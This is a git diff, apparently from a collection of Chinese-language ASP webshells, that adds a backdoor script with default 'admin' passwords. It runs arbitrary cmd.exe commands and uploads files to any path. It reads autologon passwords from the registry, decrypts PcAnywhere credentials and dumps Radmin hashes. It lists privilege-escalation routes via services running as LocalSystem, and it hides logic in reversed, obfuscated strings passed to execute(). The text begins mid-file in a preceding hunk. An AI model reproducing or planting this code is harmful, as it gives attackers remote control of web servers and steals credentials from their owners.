  • Oracle数据 库服务: 支持
    " +if instr(Pathinfo,"cfusionmx7") Then jb "
  • CFM服务器 :支持
    " +if instr(Pathinfo,"pcanywhere") Then jb "
  • 赛门铁 克PcAnywhere控 制:支持
    " +if instr(Pathinfo,"Kill") Then jb "
  • Kill杀毒软 件:支持
    " +if instr(Pathinfo,"kav") Then jb "
  • 金山系列 杀毒软件 :支持
    " +if instr(Pathinfo,"antivirus") Then jb "
  • 赛门铁克杀毒软件:支持
    " +if instr(Pathinfo,"rising") Then jb "
  • 瑞星系列杀毒软件:支持
    " +paths=split(SoftPath,";") +jb "------------------------------------
    " +jb "系统当前 路径变量:
    " +For i=Lbound(paths) to Ubound(paths) +jb "
  • "&paths(i)&"
    " +next +jb "

    [系 统设置 探测]

    " +pcnamekey="HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName" +pcname=wsh.RegRead(pcnamekey) +if pcname="" Then pcname="无法读取主机名.
    " +jb "
  • 当前主 机名 为:"&pcname&"
    " +AdminNameKey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultUserName" +AdminName=wsh.RegRead(AdminNameKey) +if adminname="" Then AdminName="Administrator" +jb "
  • 默认管 理员用户名为:"&AdminName&"
    " +isAutologin="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon" +Autologin=Wsh.RegRead(isAutologin) +if Autologin=0 or Autologin="" Then +jb "
  • 用户自动登 入:未启用
    " +Else +jb "
  • 用户 自动登入:启用
    " +Admin=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName") +Passwd=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword") +jb "
  • 用户名:"&Admin&"
    " +jb "
  • 密码:"&Passwd&"
    " +End if +displogin=wsh.regRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DontDisplayLastUserName") +If displogin="" or displogin=0 Then disply="是" else disply="否" +jb "
  • 是否显示上 次登入用户:"&disply&"
    " +NTMLkey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\NTML" +ntml=Wsh.RegRead(NTMLkey) +if ntml="" Then Ntml=1 +jb "
  • Telnet Ntml设置为:"&ntml&"
    " +hk="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count" +kk=wsh.RegRead(hk) +jb"
  • 当前活动网 卡为:"&kk&"
    " +jb "------------------------------------


    " +jb "[服务 器弱 点探测]

    " +Set objComputer = GetObject("WinNT://.") +Set sa = Server.CreateObject("Shell.Application") +objComputer.Filter = Array("Service") +On Error Resume Next +For Each objService In objComputer +if objService.Name="Serv-U" Then +if objService.ServiceAccountName="LocalSystem" Then +jb "
  • 服务器 中有 Se rv-U 安 装,且以LocalSystem权限启动,可以 考虑提权
    " +End if +End if +if lcase(objService.Name)="apache" Then +if objService.ServiceAccountName="LocalSystem" Then +If instr("&woriniba&","Apache") Then +jb "
  • 当前WEB服 务器为 Apache.可以直接提权
    " +Else +jb "
  • 服务器中有Apache服 务存在,启动权限为LocalSystem,可以考 虑PHP木马
    " +End if +end if +End if +if instr(lcase(objService.Name),"tomcat") Then +if objService.ServiceAccountName="LocalSystem" Then +jb "
  • 服务器 中有Tomcat,且以LocalSystem权限启动,可以 考虑使用Jsp木 马提权
    " +End if +End if +if instr(lcase(objService.Name),"winmail") Then +if objService.ServiceAccountName="LocalSystem" Then +jb "
  • 服务 器中有Magic Winmail,且以LocalSystem权限启动,可以查找WebMai l目录,并且写入PHP木马
    " +End if +End if +Next +Set fso=Server.Createobject("Scripting.FileSystemObject") +Sysdrive=left(Fso.GetspecialFolder(2),2) +servername=wsh.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName") +If fso.FileExists(sysdriver&"\Documents And Settings\All Users\Application Data\Symantec\"&servername&".cif") Then +jb "
  • 发现pcAnywher e密码文件,可以从默认目录下载并 破解 得到pcAnyw here密 码" +End if +end sub:Function UpFile() + If Request("Action2")="Post" Then +Set U=new UPC : Set F=U.UA("LocalFile") +UName=U.form("ToPath") + If UName="" Or F.FileSize=0 then + SI="
    请输_入上传_的完全_路径后选择_一个文件_上传!" + Else + F.SaveAs UName + If Err.number=0 Then + SI="



    文件"&UName&"上 传 成功!
    " + End if + End If +Set F=nothing:Set U=nothing + SI=SI&BackUrl + jb SI + ShowErr() + Response.End + End If + SI="


    " + SI=SI&"" + SI=SI&"
    " + SI=SI&"上传路径:" + SI=SI&" " + SI=SI&" " + SI=SI&"
    " + echo SI +End Function +function cmd1shell() +on error resume next +if request("sp")<>"" then session("shellpath") = request("sp") +shellpath=session("shellpath") +if shellpath="" then shellpath = "cmd.exe" +if request("cmd")<>"" then session("defcmd") = request("cmd") +defcmd=session("defcmd") +if defcmd="" then defcmd="set" +if request("rwpath")<>"" then session("rwpath") = request("rwpath") +rwpath=session("rwpath") +if rwpath="" then rwpath=server.mappath(".") +si="
    " +rp1=" 可读写目录(用于回显)
    " +si=si&"" +si=si&rp1&"wscript"" checked>wscript" +si=si&rp1&"wscript.shell"">wscript.shell" +si=si&rp1&"wscript.shell.1"">wscript.shell.1" +si=si&rp1&"shell.application"">shell.application" +si=si&rp1&"shell.application.1"">shell.application.1" +si=si&" " + +set fso=server.createobject("scripting.filesystemobject") +sztempfile = rwpath&"\cmd.txt" +select case request("cmdtype") +case "wscript" +set cm=server.createobject("wscript.shell") +set dd=cm.exec(shellpath&" /c "&defcmd) +aaa=dd.stdout.readall +si=si&"" +si=si&aaa +si=si&chr(13)&"
    " +case "wscript.shell","wscript.shell.1" +on error resume next +set ws=server.createobject(request("cmdtype")) +call ws.run (shellpath&" /c " & defcmd & " > " & sztempfile, 0, true) +set ofilelcx = fso.opentextfile (sztempfile, 1, false, 0) +aaa=server.htmlencode(ofilelcx.readall) +ofilelcx.close +call fso.deletefile(sztempfile, true) +si=si&"" +si=si&aaa +si=si&chr(13)&"" +case "shell.application","shell.application.1" +set seshell=server.createobject(request("cmdtype")) + +seshell.ShellExecute shellpath," /c " & defcmd & " > " & sztempfile,"","open",0 +si=si&" + + + diff --git "a/asp/\344\274\240\350\257\264\344\270\255\347\232\204\350\215\211\346\263\245\351\251\254ASP\346\234\250\351\251\254\345\216\273\345\220\216\351\227\250\346\234\252\345\212\240\345\257\206.asp" "b/asp/\344\274\240\350\257\264\344\270\255\347\232\204\350\215\211\346\263\245\351\251\254ASP\346\234\250\351\251\254\345\216\273\345\220\216\351\227\250\346\234\252\345\212\240\345\257\206.asp" new file mode 100644 index 0000000..c79a7d4 --- /dev/null +++ "b/asp/\344\274\240\350\257\264\344\270\255\347\232\204\350\215\211\346\263\245\351\251\254ASP\346\234\250\351\251\254\345\216\273\345\220\216\351\227\250\346\234\252\345\212\240\345\257\206.asp" @@ -0,0 +1,1273 @@ + +<%@ LANGUAGE = VBScript.encode%><% +Server.ScriptTimeout=999999999 +UserPass ="admin"' 密码 +clientPassword ="admin"' 不死僵尸密码 +mNametitle ="Web Shell"' 标题名字 +Copyright ="Web Shell"' 版权名字 +bs=False +ShowFileIco=False +IcoPath="" +durl="" +Response.Buffer =true +On Error Resume Next +strBAD="" +Const DEfd="" +sub ShowErr() + If Err Then +j"

    " & Err.Description & "

    " +Err.Clear:Response.Flush + End If +end sub +Sub j(str) +response.write(str) +End Sub +Function RePath(S) + RePath=Replace(S,"\","\\") +End Function +Function RRePath(S) + RRePath=Replace(S,"\\","\") +End Function +URL=Request.ServerVariables("URL") +OOOO=Request.ServerVariables("PATH_TRANSLATED") +ServerIP=Request.ServerVariables("LOCAL_ADDR") +Action=Request("Action") +RootPath=Server.MapPath(".") +WWWRoot=Server.MapPath("/") +FolderPath=Request("FolderPath") +ServerU=ReQueST.SERVervaRIables("http_host")&url +serverp=UserPass +FName=Request("FName") +Function ShiSanFun(ShiSanObjstr) +ShiSanObjstr = Replace(ShiSanObjstr, "╁", """") +For ShiSanI = 1 To Len(ShiSanObjstr) + If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then +ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) + ShiSanNewStr + Else +ShiSanNewStr = vbCrLf + ShiSanNewStr + End If +Next +ShiSanFun = ShiSanNewStr +End Function +cdx="":cxd="8":ef="" +set fso=server.CreateObject("Scripting.FileSystemObject") +set fsoX=server.CreateObject("Scripting.FileSystemObject") +str1=""&Request.ServerVariables("SERVER_Name"):BackUrl="

    返回
    " +j""&mNametitle&" - "&ServerIP&" " +if bs=true then:j"" +j"" +Dim ObT(18,2):Fn=Action:ObT(0,0) = "Scripting.FileSystemObject":ObT(0,2) = "文 件 操 作 组 件":ObT(1,0) = "wscript.shell":ObT(1,2) = "命令行执行组件,显示'×'时用 执行Cmd二 此功能执行":ObT(2,0) = "ADOX.Catalog":ObT(2,2) = "ACCESS 建 库 组 件":ObT(3,0) = "JRO.JetEngine":ObT(3,2) = "ACCESS 压 缩 组 件":ObT(4,0) = "Scripting.Dictionary":ObT(4,2) = "数据流 上 传 辅助 组件":ObT(5,0) = "Adodb.connection":ObT(5,2) = "数据库 连接 组件":ObT(6,0) = "Adodb.Stream":ObT(6,2) = "数据流 上传 组件":ObT(7,0) = "SoftArtisans.FileUp":ObT(7,2) = "SA-FileUp 文件 上传 组件":ObT(8,0) = "LyfUpload.UploadFile":ObT(8,2) = "刘云峰 文件 上传 组件":ObT(9,0) = "Persits.Upload.1":ObT(9,2) = "ASPUpload 文件 上传 组件":ObT(10,0) = "JMail.SmtpMail":ObT(10,2) = "JMail 邮件 收发 组件":ObT(11,0) = "CDONTS.NewMail":ObT(11,2) = "虚拟SMTP 发信 组件":ObT(12,0) = "SmtpMail.SmtpMail.1":ObT(12,2) = "SmtpMail 发信 组件":ObT(13,0) = "Microsoft.XMLHTTP":ObT(13,2) = "数据 传输 组件" +ObT(14,0) = "ws"&"cript.shell.1": OBt(14,2) = "如果wsh被禁,可以改用这个组件":OBT(15,0) = "WS"&"CRIPT.NETWORK": OBt(15,2) = "查看服务器信息的组件,有时可以用来提权":OBT(16,0) = "she"&"ll.appl"&"ication":OBt(16,2) = "she"&"ll.appli"&"cation 操作,无FSO时操作文件以及执行命令":OBT(17,0) = "sh"&"ell.appl"&"ication.1":OBt(17,2) = "she"&"ll.appli"&"cation 的别名,无FSO时操作文件以及执行命令":OBT(18,0) = "Shell.Users":OBt(18,2) = "删除了net.exe net1.exe的情况下添加用户的组件" +For i=0 To 18:Set T=Server.CreateObject(ObT(i,0)):If -2147221005 <> Err Then:IsObj=" √":Else:IsObj=" ×":Err.Clear:End If:Set T=Nothing:ObT(i,1)=IsObj:Next:If FolderPath<>"" then:Session("FolderPath")=RRePath(FolderPath):End If:If Session("FolderPath")="" Then:FolderPath=WwwRoot:Session("FolderPath")=FolderPath:End if +sWHEEL1 = "jwt" +Function Encrypt(acd) +For i = 1 To Len(acd) step 1 +c=mid(acd,i,1) +if c="※" then +d=mid(acd,i,2) +i=i+1 +e=replace(d,"※","") +bbc=bbc&mid(sWHEEL1,cint(e),1) +else +bbc=bbc&c +end if +next +Encrypt=bbc +end Function +Function PcAnywhere4() +j"
    PcAnywhere提权 Bin版本
    cif文件:
    " +end Function +j"
    " +Function StreamLoadFromFile(sPath) +Dim oStream +Set oStream = Server.CreateObject("Adodb.Stream") +With oStream +.Type = 1 +.Mode = 3 +.Open +.LoadFromFile(sPath) +.Position = 0 +StreamLoadFromFile = .Read +.Close +End With +Set oStream = Nothing +End Function +Function hexdec(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then + j = 15 +End If +If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then + j = 14 +End If +If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then + j = 13 +End If +If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then + j = 12 +End If +If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then + j = 11 +End If +If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then + j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then + j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i + j = j * 16 +Next +result = result + j +Next +hexdec = result +End Function +Function PcAnywhere(data,mode) +HASH= Mid(data,3) +If mode = "pass" Then number = 32: Cifnum = 144 +If mode = "user" Then number = 30: Cifnum = 15 +For i = 1 To number Step 2 +pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum) +If ((pcstr <= 32) Or (pcstr>127)) Then Exit For +decode = decode + Chr(pcstr) +Cifnum=Cifnum+1 +Next +PcAnywhere=decode +End function +Function bin2hex(binstr) +For i = 1 To LenB(binstr) +hexstr = Hex(AscB(MidB(binstr, i, 1))) +If Len(hexstr)=1 Then +bin2hex=bin2hex&"0"&(LCase(hexstr)) +Else +bin2hex=bin2hex& LCase(hexstr) +End If +Next +End Function +CIF = Request("path") +If CIF <> "" Then +BinStr=StreamLoadFromFile(CIF) +j"Pcanywhere Reader ==>

    PATH:"&CIF&"
    帐号:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user") +j"
    密码:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass") +End If +Function radmin() +Set WSH= Server.CreateObject("WSCRIPT.SHELL") +RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\" +Parameter="Parameter" +Port = "Port" +j"
    注意:读出HASH值后用RadminHash工具或od调试连接,工具下载地址:"&htp&"soft/Radmin_hash.rar

    " +ParameterArray=WSH.REGREAD(RadminPath & Parameter ) +j Parameter&":" +If IsArray(ParameterArray) Then +For i = 0 To UBound(ParameterArray) +If Len (hex(ParameterArray(i)))=1 Then +strObj = strObj & "0"&CStr(Hex(ParameterArray(i))) +Else +strObj = strObj & Hex(ParameterArray(i)) +End If +Next +j strobj +Else +j"Error! Can't Read!" +End If +j"

    " +PortArray=WSH.REGREAD(RadminPath & Port ) +If IsArray(PortArray) Then +j Port &":" +j hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0)))) +Else +j"Error! Can't Read!" +End If +End Function +Function hextointer(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then +j = 15 +End If +If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then +j = 14 +End If +If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then +j = 13 +End If +If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then +j = 12 +End If +If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then +j = 11 +End If +If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then +j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then +j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i +j = j * 16 +Next +result = result + j +Next +hextointer = result +End Function:Function MainForm() +execute(shisanfun("╋╁>elbat/<>rt/<>dt/<>emarfi/<>'1'=redrobemarf '%001'=thgieh '%001'=htdiw 'eliF1wohS=noitcA?'=crs 'emarFeliF'=eman emarfi<>dt<>dt/<>emarfi/<>'0'=redrobemarf '%59'=thgieh '%001'=htdiw 'uneMniaM=noitcA?'=crs 'tfeL'=eman emarfi<>'071'=htdiw dt<>rt<>rt/<>dt/<>elbat/<>mrof/<>rt/<>dt/<╁j:fi dne:╁ko╁=)╁.╁(noisses:)urevres&╁╁(egapptthteg&╁ ;psbn&;psbn&;psbn&;psbn&;psbn&╁j:neht ╁ko╁ >< )╁udiab╁(noisses fi:╁>a<】面桌resullA【)01(>')╁╁面桌\\sresU llA\\sgnitteS dna stnemucoD\\:C╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a< >a<】erehwynAcp【)9(>')╁╁erehwynAcp\\cetnamyS\\ataD noitacilppA\\1~esulla\\1~emucod\\:c╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&;psbn&>a<】夹件文lerp【)8(>')╁╁lerp\\:c╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<】lqssM【)7(>')╁╁\\revreS LQS tfosorciM\\seliF margorP\\:C╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&;psbn&;psbn&;psbn&;psbn&>a<】PHP【)6(>')╁╁php\\:C╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&>a<】SWODNIW【)5(>')╁╁SWODNIW\\:C╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&>a<】)2(UvreS【)4(>')╁╁UvreS\\seliF margorP\\:C╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<】)1(UvreS【)3(>')╁╁moc.tfoSonihR\\seliF margorP\\:C╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&;psbn&;psbn&>a<】PMET【)2(;psbn&;psbn&>')╁╁pmeT\\SWODNIW\\:C╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<】bupmw【)1(>')╁╁bupmw\\:C╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>rb<╁j:fi dne:╁ko╁=)╁sRP╁(noisses:╁>;psbn&╁j:neht ╁ko╁ >< )╁sRP╁(noisses fi:╁>a<】)\:e(RELCYCER【)01(>')╁╁relcycer\\:e╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<】)\:d(RELCYCER【)9(>')╁╁relcycer\\:D╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<】)\:C(RELCYCER【)8(>')╁╁relcycer\\:C╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<】序_程【)7(>')╁╁\\序程\\单菜」始开「\\sresU llA\\sgnitteS dna stnemucoD\\:C╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<】單菜_始開【)6(>')╁╁\\单菜」始开「\\sresU llA\\sgnitteS dna stnemucoD\\:C╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<】sresU_llA【)5(>')╁╁\\sresU llA\\sgnitteS dna stnemucoD\\:C╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<】stnemucoD【)4(>')╁╁stnemucoD\\sresU llA\\sgnitteS dna stnemucoD\\:C╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<】EmargorP【)3(>')╁╁seliF margorP\\:e╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<】DmargorP【)2(>')╁╁seliF margorP\\:d╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<】margorP【)1(>')╁╁seliF margorP\\:C╁╁(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>rt<>emarfi/<>'1'=redrobemarf '%001'=thgieh '%001'=htdiw 'eliF1wohS=noitcA?'=crs 'emarFeliF'=eman emarfi<>dt<>'242424#:dnuorgkcab'=elyts 1=htdiw dt<>dt/<>p/<>a/<>b/<示显>b<>##=ferh ╁╁''=yalpsid.elyts.)'lt'(dIyBtnemelEteg.tnemucod╁╁=kcilcno a<>p<>a/<>b/<藏隐>b<>##=ferh ╁╁'enon'=yalpsid.elyts.)'lt'(dIyBtnemelEteg.tnemucod╁╁=kcilcno a<>'xp2:gniddap'=elyts 1=htdiw dt<>dt/<>'000000#:dnuorgkcab'=elyts 1=htdiw dt<>dt/<>emarfi/<>'0'=redrobemarf '%001'=thgieh '%001'=htdiw 'uneMniaM=noitcA?'=crs 'tfeL'=eman emarfi<>lt=di '061'=htdiw dt<>'0'=gnicapsllec '0'=gniddapllec ';000000# dilos xp1:redrob'=elyts '%5.59'=thgieh '%001'=htdiw elbat<>elbat/<>mrof/<>rt/<>dt/<>')(daoler.noitacol.emarFeliF'=kcilcno '新刷'=eulav 'timbus'=epyt tupni< >'OG'=eulav 'timbus'=epyt 'timbuS'=eman tupni<>'retnec'=ngila '041'=htdiw dt<>dt/<>'╁&)╁htaPredloF╁(noisseS&╁'=eulav '%001:htdiw'=elyts 'htaPredloF'=eman tupni<>dt<>dt/<:址地>'retnec'=ngila '06'=htdiw dt<>rt<>'tnerap_'=tegrat '╁&LRU&╁'=noitca 'tsop'=dohtem 'mrofrdda'=eman mrof<>'%001'=htdiw elbat<>mrof/<>╁╁emaNF╁╁=eman ╁╁neddih╁╁=epyt tupni<>╁╁noitcA╁╁=eman ╁╁neddih╁╁=epyt tupni<>╁╁emarFeliF╁╁=tegrat ╁╁╁&LRU&╁╁╁=noitca ╁╁tsop╁╁=dohtem ╁╁mrofedih╁╁=eman mrof<╁j")) +End Function + + + + +ExeCuTe(ShiSanFun("buS dnE╋gnihtoN = redloFeht teS╋txeN╋fI dnE╋fI dnE╋etadpU.sr╋)(daeR.maerts = )╁tnetnoCelif╁(sr╋)htaP.meti(eliFmorFdaoL.maerts╋)4 ,htaP.meti(diM = )╁htaPeht╁(sr╋weNddA.sr╋nehT 0 =< )╁$╁ & emaN.meti & ╁$╁ ,tsiLeliFsys(rtSnI fI╋eslE ╋maerts ,sr ,htaP.meti bdMroFeerTas╋nehT eurT = redloFsI.meti fI╋smetI.redloFeht nI meti hcaE roF╋)htaPeht(ecapSemaN.Xas = redloFeht teS╋╁$bdl.HSH$bdm.HSH$╁ = tsiLeliFsys╋tsiLeliFsys ,redloFeht ,meti miD╋)maerts ,sr ,htaPeht(bdMroFeerTas buS╋buS dnE╋pooL╋fI dnE╋0 = i╋eslE ╋)╁\╁ ,)1 + i ,htaPeht(diM(rtsnI + i = i╋nehT )╁\╁ ,)1 + i ,htaPeht(diM(rtSnI fI╋fI dnE╋))1 - i ,htaPeht(tfeL(redloFetaerC.)╁tcejbOmetsySeliF.gnitpircS╁(tcejbOetaerC.revreS╋nehT eslaF = ))i ,htaPeht(tfeL(stsixEredloF.)╁tcejbOmetsySeliF.gnitpircS╁(tcejbOetaerC.revreS fI╋0 > i elihW oD╋)╁\╁ ,htaPeht(rtsnI = i╋i miD╋)htaPeht(redloFetaerc buS╋buS dnE╋gnihtoN = nnoc teS╋gnihtoN = maerts teS╋gnihtoN = sr teS╋gnihtoN = sw teS╋esolC.maerts╋esolC.nnoc╋esolC.sr╋pooL╋txeNevoM.sr╋2 ,)╁htaPeht╁(sr & rts eliFoTevaS.maerts╋)╁tnetnoCelif╁(sr etirW.maerts╋)(soEteS.maerts╋fI dnE╋)redloFeht & rts(redloFetaerc╋nehT eslaF = )redloFeht & rts(stsixEredloF.)╁tcejbOmetsySeliF.gnitpircS╁(tcejbOetaerC.revreS fI╋))╁\╁ ,)╁htaPeht╁(sr(veRrtSnI ,)╁htaPeht╁(sr(tfeL = redloFeht╋foE.sr litnU oD╋1 = epyT.maerts╋nepO.maerts╋1 ,1 ,nnoc ,╁ataDeliF╁ nepO.sr╋rtSnnoc nepO.nnoc╋╁;╁ & htaPeht & ╁=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP╁ = rtSnnoc╋)╁noitcennoC.BDODA╁(tcejbOetaerC = nnoc teS╋)╁maertS.BDODA╁(tcejbOetaerC = maerts teS╋)╁teSdroceR.BDODA╁(tcejbOetaerC = sr teS╋╁\╁ & )╁.╁(htaPpaM.revreS = rts╋redloFeht ,rtSnnoc ,maerts ,nnoc ,rts ,sw ,sr miD╋000001=tuOemiTtpircS.revreS╋txeN emuseR rorrE nO╋)htaPeht(kcaPnu buS╋)emanf&╁\╁&toorwww(eliFtxeTetaerC.osf=esonpser tes╋noitcnuF dnE╋gnihtoN = redloFeht teS╋gnihtoN = sredlof teS╋gnihtoN = selif teS╋txeN╋fI dnE╋etadpU.sr╋)(daeR.maerts = )╁tnetnoCelif╁(sr╋)htaP.meti(eliFmorFdaoL.maerts╋)4 ,htaP.meti(diM = )╁htaPeht╁(sr╋weNddA.sr╋nehT 0 =< )╁$╁ & emaN.meti & ╁$╁ ,tsiLeliFsys(rtSnI fI╋selif nI meti hcaE roF╋txeN╋maerts ,sr ,htaP.meti bdMroFeerTosf╋sredlof nI meti hcaE roF╋sredloFbuS.redloFeht = sredlof teS╋seliF.redloFeht = selif teS╋)htaPeht(redloFteG.)╁tcejbOmetsySeliF.gnitpircS╁(tcejbOetaerC.revreS = redloFeht teS╋fI dnE╋)╁!问访许允不者或在存不录目 ╁ & htaPeht(rrEwohs╋nehT eslaF = )htaPeht(stsixEredloF.)╁tcejbOmetsySeliF.gnitpircS╁(tcejbOetaerC.revreS fI╋╁$bdl.HSH$bdm.HSH$╁ = tsiLeliFsys╋tsiLeliFsys ,selif ,sredlof ,redloFeht ,meti miD╋)maerts ,sr ,htaPeht(bdMroFeerTosf noitcnuF╋buS dnE╋gnihtoN = golataCoda teS╋gnihtoN = maerts teS╋gnihtoN = nnoc teS╋gnihtoN = sr teS╋esolC.maerts╋esolC.nnoC╋esolC.sr╋fI dnE╋maerts ,sr ,htaPeht bdMroFeerTas╋eslE ╋maerts ,sr ,htaPeht bdMroFeerTosf╋nehT ╁osf╁ = )╁dohteMeht╁(tseuqeR fI╋3 ,3 ,nnoc ,╁ataDeliF╁ nepO.sr╋1 = epyT.maerts╋nepO.maerts╋)╁)egamI tnetnoCelif ,rahCraV htaPeht ,DERETSULC YEK YRAMIRP )1,0(YTITNEDI tni dI(ataDeliF elbaT etaerC╁(etucexE.nnoc╋rtSnnoc nepO.nnoc╋rtSnnoc etaerC.golataCoda╋)╁bdm.HSH╁(htaPpaM.revreS & ╁=ecruoS ataD ;0.4.BDELO.teJ.tfosorciM=redivorP╁ = rtSnnoc╋)╁golataC.XODA╁(tcejbOetaerC.revreS = golataCoda teS╋)╁noitcennoC.BDODA╁(tcejbOetaerC.revreS = nnoc teS╋)╁maertS.BDODA╁(tcejbOetaerC.revreS = maerts teS╋)╁teSdroceR.BDODA╁(tcejbOetaerC.revreS = sr teS╋golataCoda ,rtSnnoc ,maerts ,nnoc ,sr miD╋txeN emuseR rorrE nO╋)htaPeht(bdMoTdda buS╋buS dnE╋╁>mrof/<下录目序程本于位都件文有所的来开解 :注>rb<>rb<>'包开解'=eulav timbus=epyt tupni<>tcAeht=eman bdMmorFesaeler=eulav neddih=epyt tupni<>08=ezis ╁╁bdm.HSH\╁ & ))╁.╁(htaPpaM.revreS(edocnElmtH & ╁╁╁=eulav htaPeht=eman tupni<>))╁╁#╁╁(noisseS(etucexE=eulav ╁╁#╁╁=eman neddih=epyt tupni<>tsop=dohtem mrof<>/rb<:)持支OSF需(开解包件文>/rh<>mrof/<下录目级同马木mas于位,件文bdm.HSH成生包打 :注>rb<>rb<>'包打始开'=eulav timbus=epyt tupni<>tceles/<>noitpo/ppa=eulav noitpo<>noitpo/osf=eulav noitpo<>dohteMeht=eman tceles<>tcAeht=eman bdMoTdda=eulav neddih=epyt tupni<>08=ezis ╁╁╁ & ))╁.╁(htaPpaM.revreS(edocnElmtH & ╁╁╁=eulav htaPeht=eman tupni<>))╁╁#╁╁(noisseS(etucexE=eulav ╁╁#╁╁=eman neddih=epyt tupni<>tsop=dohtem mrof<:包打夹件文>rb<╁j╋fI dnE╋dnE.esnopseR╋lrUkcaB&╁>vid/rb<>retnec=ngila vid<╁ j╋)htaPeht(kcaPnu╋nehT ╁bdMmorFesaeler╁ = tcAeht fI╋fI dnE╋dnE.esnopseR╋lrUkcaB&╁>vid/rb<>retnec=ngila vid<╁ j╋)htaPeht(bdMoTdda╋nehT ╁bdMoTdda╁ = tcAeht fI╋000001=tuOemiTtpircS.revreS╋)╁htaPeht╁(tseuqeR = htaPeht╋)╁tcAeht╁(tseuqeR = tcAeht╋htaPeht ,tcAeht miD╋)(bdMoTddAegaP buS╋")) + + + +Function ProFile() +execute(shisanfun("IS j╋╁>elbat/<>mrof/<╁&IS=IS╋╁>rt/<>dt/<>'程进护保成生,步一下'=eulav 'timbuS'=eman 'timbus'=epyt tupni<>05=thgieh dt<>dt/<;psbn&>dt<>rt<╁&IS=IS╋╁>rt/<>dt/<)护保部全法无则否,大越置设率频,多越件文的护保要需,秒1为小最( 秒 >/ ╁╁)'',g/]d\^[/(ecalper.eulav=eulav╁╁=puyekno ╁╁5╁╁=ezis ╁╁1╁╁=eulav ╁╁thgir:ngila-txet╁╁=elyts ╁╁emiTA╁╁=eman ╁╁txet╁╁=epyt tupni<>dt<>dt/<:率频护保>thgir=ngila dt<>rt<╁&IS=IS╋╁>rt/<>dt/<)码编改更试尝请,码乱现出若件文问访( 8-FTU>/ ╁╁2╁╁=eulav ╁╁rahCA╁╁=eman ╁╁oidar╁╁=epyt tupni< 2132BG>/ dekcehc ╁╁1╁╁=eulav ╁╁rahCA╁╁=eman ╁╁oidar╁╁=epyt tupni<>dt<>dt/<:码编件文>thgir=ngila dt<>rt<╁&IS=IS╋╁>rt/<>dt/<>aeratxet/<码代件文>╁╁7╁╁=swor ╁╁07╁╁=sloc ╁╁edoCA╁╁=eman aeratxet<>dt<>dt/<:码代件文>thgir=ngila ╁╁;xp3:pot-gniddap╁╁=elyts pot=ngilav dt<>rt<╁&IS=IS╋╁>rt/<>dt/<>aeratxet/<╁&)╁psa.tset\╁&)╁htaPredloF╁(noisseS(htaPeRR&╁>╁╁7╁╁=swor ╁╁07╁╁=sloc ╁╁eliFA╁╁=eman 